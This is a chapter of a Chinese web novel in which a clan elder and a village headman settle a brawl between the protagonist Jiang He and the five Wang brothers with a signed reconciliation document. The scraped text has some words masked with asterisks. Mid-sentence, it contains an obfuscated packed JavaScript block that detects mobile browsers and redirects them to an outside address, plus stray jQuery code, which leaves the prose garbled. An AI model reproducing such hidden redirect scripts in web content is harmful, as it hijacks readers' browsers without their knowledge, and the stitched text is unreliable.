第135章 和稀泥,和解文书

作品:《穿越成渣爹,开局得签到系统

    江河最后这句话,差点儿没有直接把王大虎、王二虎几人给气吐血。


    “你放屁!”


    王大虎疼得直抽冷气,忍不住坐直了身子,嘶声叫骂道:


    “老子这条腿都断成这个逼样了,哪一点儿像是装的了?!”


    “还有老三的肩膀,老四和老五的肋条,全都被打折了啊!”


    “老族长,冶山兄弟,你们可得给我们做主啊,你看看我们……都**河这小崽子给欺负成什么样了?!”


    王二虎也委屈巴拉的开口指责道:“还有我们身上的钱,足足三贯呢,也全都**河父子给抢了去,真要论起来,我们才是被抢的人,我们才是真正的受害者!”


    “老族长,里正公,你们可得为我们主持公道,帮我们把那些钱要回来,那可是我们在城里赚的血汗钱啊!”


    王冶山头疼地揉了揉额角。


    他又不瞎,当然看得出王家兄弟是真伤,而且伤得很重。


    但江河这番说辞,把自己摘得干干净净,完全把自己塑造成了一个为了保护孩子,被迫自卫的受害者,甚至还反过来诬陷王家兄弟讹**钱。


    偏偏江河所说的这些,听起来还那么的合情合理,让人挑不出半点儿毛病,找不出半点儿反驳的话来。


    这让他怎么出手调解,怎么为他们主持“公道”?


    他是里正不假,可也不能当着这么多人的面,直接颠倒黑白啊!


    王德顺也跟着轻叹了口气,他明白今天这事儿,想完全偏袒王家是不可能了。


    这事儿就算是说破天去,人家江河也占着理。


    谁让王家五兄弟闲着没事儿去堵人家儿子,去主动招惹江河了?


    抢了粮食打了人不说,甚至还想要污蔑人家是**偷盗的窃贼,想要把几天前江家老宅失窃的案子直接栽赃到江河父子身上。


    这特娘的是人能干出来的事儿?


    当然。


    如果只是这些也就罢了。


    最关键的是——


    他们兄弟五人,在以五打一的情况下,围殴江河,最后竟然还特么打输了!


    妥妥的一群窝囊废啊!


    江河父子没有吃什么亏,没有被直接打怕打服,心生惧意。


    这让他这个族长和王冶山这个里正,连出面调停、表面上卖个好给江河,劝他不要再过分追究的机会都没有。


    “行了,都别吵吵了!”


    王德顺拐杖重重一顿,苍老的声音带着不容置疑的威严,厉声说道:


    “事情的大概,老朽已然明了。王大虎、王二虎,你们兄弟五人拦路抢粮、动手伤人是事实,不管是不是在开玩笑,都是有错在先!”


    “还有你江河,虽是护子心切,被迫还手,算是情有可原。但是你出手过重,致人伤残,也是有些不妥。”


    各打了五十大板之后,王德顺的目光缓缓扫过双方,直接做出决断:


    “王大虎,今日之事,错在尔等。你们需向江河父子郑重赔礼道歉,并保证以后不会再因此事找寻江河父子的麻烦。”


    “江河,念在他们已经身受重伤,且终究是你的长辈,你既然已经拿了他们的赔偿,此事便到此为止,莫要再继续追究了,如何?”


    显然,王德顺这是在担心江河会死纠着王大虎等人拦路**的罪名不放,执意要把王家五虎给送到县大狱去,所以才会这么着急的想要把事情在村子里就给了结了。


    毕竟,拦路**可是触犯了大宣律法的**。


    江河真要是较起了这个真儿,非得送他们去见官,那可就不是区区三贯钱就能了结的事情了。


    说起来,王德顺还是在暗中偏向自家的族人。


    不过这倒也正全了江河的心意。


    江河原本也没想过要把王家五虎送官。


    不是他心慈手软,而是王大虎几人跟他们家毕竟有着特殊的血脉关系。


    若是此事闹到了县衙,他们一口咬定自己没有**,就是在跟几个晚辈开玩笑,谁也拿他们没办法。


    更重要的是,通过王神婆的案子,江河已经清楚地认识到,县衙里的那些官老爷,并没有想象中的那么公正廉明。


    真要是去见了官,他要是再被王大虎几人给反咬一口,说他故意伤人,最后被送进大狱的人还指不定会是谁呢。


    “老族长处事公允,我没有任何异议。”


    江河欣然点头,给足了王德顺面子。


    “只要他们诚心道歉,并保证以后不再故意来寻我家的麻烦,我们可以不再追究今日之事。”


    说着,江河的目光缓缓转向王家五兄弟,尤其是在王大虎和王二虎身上停留片刻,补充道:


    “当然,那三贯钱的赔偿,一会儿最好还是请里正和老族长做个见证,写个正经的证明文书。


    免得事后有人会不认账,反过来说是我江河抢了他们的财物。”


    他这是要把那三贯钱赔偿的合理性彻底坐实,杜绝王家五虎日后再反悔,甚至反咬一口的可能。


    王德顺人老心亮,自然听出了江河的弦外之音。


    心里暗骂了江河一句滑头之后,也只能顺着他的话头说道:


    “王大虎、王二虎,你们也听到了,那三贯钱,便当是你们对江家父子的赔偿了。”


    “口说无凭,立字为证,待会儿让冶山亲笔写一份调解文书,你们双方在上面签了字,画了押,此事就此了结。”


    “日后,谁也不许再因此事徒生事端,否则,族规村规,绝不轻饶!”


    最后一句,他加重了语气,既是警告王家莫要再无事生非,也是在提醒江河得饶人处且饶人。


    王大虎、王二虎几人闻言,气得一阵肝儿疼,满脸幽怨与不满的看向王德顺。


    原本,见到里正与老族长来了,他们还以为自己总算是盼到了救星,以为他们终于可以摆脱江河的威胁,可以拿回**河强行“讹”走的那三贯血汗钱。


    可是结果呢?


    特么竟然还是跟之前一样!


    不但要赔钱,还要接着跟人鞠躬道歉,赔不是!


    不,还是有些不一样的!


    原本,在老族长与里正没来之前,他们就已经做好了要跟江天、**、江源三个小崽子鞠躬道歉的准备。


    那时候,围观的人只有七八个,就算是丢人也范围有限。


    而且他们也不用写什么劳什子的保证


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966918|193410||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    书,不用签字画押,证明那三贯钱的明确用途和归属,还有机会可以反过来诬告江河一番。


    可是现在呢?


    随着老族长与里正的到来,村子里呼呼啦啦的跟来了一大群村民。


    几乎半个庄子的人都跑出来了,全都在大眼瞪小眼的看着他们的笑话!


    搞得他们不但钱没了,人残了,还丢了更大的人不说,甚至还要签字画押,保证以后再也不找江河一家的麻烦?


    这亏吃得都特么憋屈到姥姥家了!


    感觉,这老族长与里正就特么是来帮倒忙的,他们来还不如不来!


    “怎么,你们还不服气?”


    王德顺见王家兄弟满脸不甘不忿的幽怨的表情,面色不由一沉,拐杖再次顿地,厉声言道:


    “若是你们觉得老夫处事不公,亏待了你们,老夫现在就走,以后再不会管你们家的闲事……”


    王德顺的话还没有说完,王大虎与王二虎就同时心头一颤,连忙摆手解释道:


    “老叔公你误会了,我们绝对没有这个意思!”


    “对对对,老叔公,我们服气!我们愿意道歉、赔钱!也愿意在保证书上签字画押……”


    虽然他们心里一直对王德顺与王冶山非议不已,觉得他们处事不公,偏向江河,害得他们非但没顺利要回钱,还丢了更大的人。


    但是这些话他们也只敢在心里想想而已,却是半点儿也不敢摆在明面上说。


    再怎么讲,王德顺也是他们王氏一族的族长,在村里德高望重,权势不小。


    而王冶山是下河村的里正,与县里的捕头及县尉都有些关系。


    真要是把他们两个给得罪狠了,以后他们一家人在村里可就真的要寸步难行了。


    更何况,他们这次回来,最主要的目的就是为了给小妹一家明日的顺利回归打前站。


    这其中,可少不了需要王德顺与王冶山这二位族长和里正的调解与周旋。


    他们现在要是把这二人给彻底得罪了,他们家小妹以后还能回得来吗?


    见王家兄弟低头服软,王德顺面色稍霁,再不提刚才要走的话茬儿,转头对王冶山道:“冶山,写文书吧。”


    王冶山微微点头,找人回去取来纸笔,就在旁边一块还算平整的大石头上,蘸墨提笔,快速书写起来。


    不一会儿,一份详述了事情经过的“和解文书”新鲜出炉。


    知道王大虎兄弟几人不识字,王冶山便当着他们的面将和解文书上的内容复述了一遍,而后又看向江河,正色道:


    “你们双方若无异议的话,这便签字画押吧。”


    江河见状,不由轻挑了下眉头。


    原本他只是想要一份由王家五虎单方面签署的“赔偿证明”而已。


    没想到现在,经王德顺这么一搅和,直接就把“赔偿证明”,变成了需要双方都签字画押“和解文书”,彻底断了江河后续还想拿这件事情做文章的可能。


    只能说姜还是老的辣,论和稀泥的水平,还是得这位老族长。


    只是可惜,对面的王家五虎,似乎并没有明白老族长的良苦用心,他的这片好意,注定是要喂了狗了。